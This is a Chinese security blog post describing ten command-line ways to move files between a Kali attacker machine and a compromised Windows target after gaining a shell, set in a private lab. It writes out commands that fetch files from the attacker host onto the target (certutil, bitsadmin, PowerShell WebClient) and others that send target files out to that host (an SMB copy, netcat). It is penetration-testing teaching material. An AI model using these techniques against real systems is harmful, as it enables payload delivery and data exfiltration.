part1
点击上方蓝字关注我们
往期推荐
将二进制空间安全设为"星标⭐️"
第一时间收到文章更新
摘要
在执行渗透测试或红队时,文件传输是后利用场景中的关键步骤。进行文件传输的方法有很多种, 本文将介绍主流的10种文件传输方法过程。
实验环境搭建
在本次实验中,假设已经攻入到目标计算机且已经有了初始的shell访问权限。
攻击机器: Kali Linux (192.168.31.141)
目标机器: Windows 10 (192.168.31.219)
在攻击机器上, 预先设置了一个updog服务器, 它是SimpleHTTPServer的替代品, 对于需要轻量级、快速部署的HTTP服务器场景非常有用。
要安装服务器, 首先执行以下命令:
pip3 install updog
安装完成后,可以使用以下命令在80端口运行服务器:
updog -p 80
姿势1:wget
wget是一个功能强大的命令,用于从网络下载文件。应该注意的是,在 Windows 中使用 wget 进行文件传输时,需要使用-o (-OutFile) 参数保存文件。如果不使用该参数,那么它只会将其作为对象返回,即WebResponseObject 。Windows 下 wget 的命令如下:
powershell wget http://192.168.31.141/ignite.txt -o ignite.txt
dir
type ignite.txt
姿势2:curl
Curl 是一个功能强大的命令行工具,可用于使用各种网络协议传输文件。以下是传输文件的命令:
curl http://192.168.31.141/ignite.txt -o ignite.txt
姿势3:certutil
certutil是 Windows 操作系统附带的命令行实用程序,旨在管理证书和加密元素。要使用 certutil 传输文件,可以使用以下命令:
certutil -urlcache -f http://192.168.31.141/ignite.txt ignite.txt
certutil 中的-split选项用于将大文件分割成较小的段以执行文件传输。
certutil -urlcache -split -f http://192.168.31.141/ignite.txt ignite.txt
姿势4: bitsadmin
Bitsadmin是一个命令行实用程序,用于处理 Windows 中的后台智能传输服务 (BITS) 任务。它支持不同的文件传输操作,包括下载和上传文件。文件传输命令为:
bitsadmin /transfer job http://192.168.31.141/ignite.txt C:UsersPublicignite.txt
可以看到命令执行后文件传输成功。
姿势5:使用PowerShell传输文件
可以直接使用PowerShell进行文件传输,运行以下命令:
powershell (New-Object System.Net.WebClient).DownloadFile('http://192.168.31.141/ignite.txt', 'ignite.txt')
姿势6:使用SMB服务器传输文件
SMB 是一种用于通信的协议,旨在提供对网络内文件、端口等的共享访问。为了启用它,将使用 kali linux 内的impacket-smbserver脚本来共享文件。这里将共享目录名称命名为share ,这里共享的意义在于它将文件的长路径转换为单个共享目录。这里可以给出目录的完整路径或密码作为参数,以便它采用当前目录路径。
impacket-smbserver share $(pwd) -smb2support
设置完成后,可以在Windows机器中执行以下命令来复制共享文件夹中的文件。
copy \192.168.31.141shareignite.txt
要将文件从Windows复制到kali linux中,可以使用以下命令:
copy ignite.txt \192.168.31.141shareignite.txt
为了从另一台Linux机器(例如ubuntu)传输文件,可以使用smbclient工具连接共享文件夹,然后登录后,可以分别使用put和get命令直接上传和下载文件。
smbclient -L 192.168.31.141
smbclient "\\192.168.31.141share"
ls
get ignite.txt
put data.txt
姿势7: 使用scp进行文件传输
SCP(安全复制协议)是一种在本地系统和远程服务器之间或两个远程服务器之间安全传输文件的方法。它通过SSH(安全外壳)协议运行,可确保潜在不安全网络上的安全连接。它具有跨平台使用的优点,Linux和Windows都支持。
要将文件从 Windows 复制到 kali,可以使用以下命令:
scp ignite.txt kali@192.168.31.141:/tmp
要将文件从 kali linux 传输到 Windows 机器,可以使用以下命令:
scp ignite.txt raj@192.168.31.219:/C:/Temp
姿势8:使用TFTP传输文件
TFTP(简单文件传输协议)是一种基本且简约的网络文件传输协议。它通过 UDP 而不是 TCP 运行,这种选择有助于保持协议的轻量级,但意味着它不提供 TCP 提供的可靠性和错误检查。默认监听 UDP 端口 69 端口。
要将文件从 kali linux 传输到 Windows 机器,需要在Metasploit框架中使用以下命令:
use auxiliary/server/tftp
set srvhost 192.168.31.141
set tftproot /root/raj
run
要下载该文件,需要在 Windows 计算机中运行以下命令:
tftp -i 192.168.31.219 GET ignite.txt
dir
姿势9:使用FTP传输文件
FTP(文件传输协议)是一种历史悠久且广泛使用的用于通过网络传输文件的协议。它使用户能够上传、下载和管理远程服务器上的文件。为了启用 FTP 服务,将使用 Metasploit 框架。可以注意到,这里对服务进行身份验证,而不是保持匿名登录。
use auxiliary/server/ftp
set srvhost 192.168.31.141
set ftproot /root/raj
set ftpuser raj
set ftppass 123
run
服务器启动后,通过 FTP 服务器身份验证后即可下载文件。
ftp 192.168.31.141
dir
get ignite.txt
姿势10:使用Netcat传输文件
Netcat,通常称为nc ,是一种多功能网络工具,设计用于通过 TCP 或 UDP 读取和写入网络连接。Netcat 可以通过建立简单的客户端-服务器设置来支持文件传输。
要从 Ubuntu 机器传输 kali 机器中的文件,可以在 kali 中使用以下命令:
nc -lvp 5555 > file.txt
现在可以在ubuntu中运行以下命令将文件发送到kali机器:
ls
nc 192.168.31.141 5555 < file.txt
同样,也可以在 kali linux 中接收来自 Windows 机器的文件。但是,应该注意的是,这里目标 Windows 计算机应该具有 nc.exe 二进制文件才能使此方法起作用。
以下是需要在 Windows 机器上运行的命令:
nc.exe 192.168.31.141 5555 < data.txt
要在 kali 机器中接收文件,运行以下命令:
nc -lvp 5555 > data.txt
cat data.txt
往期推荐
原文始发于微信公众号(二进制空间安全):黑客视角下的Windows系统10种命令行文件传输姿势
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论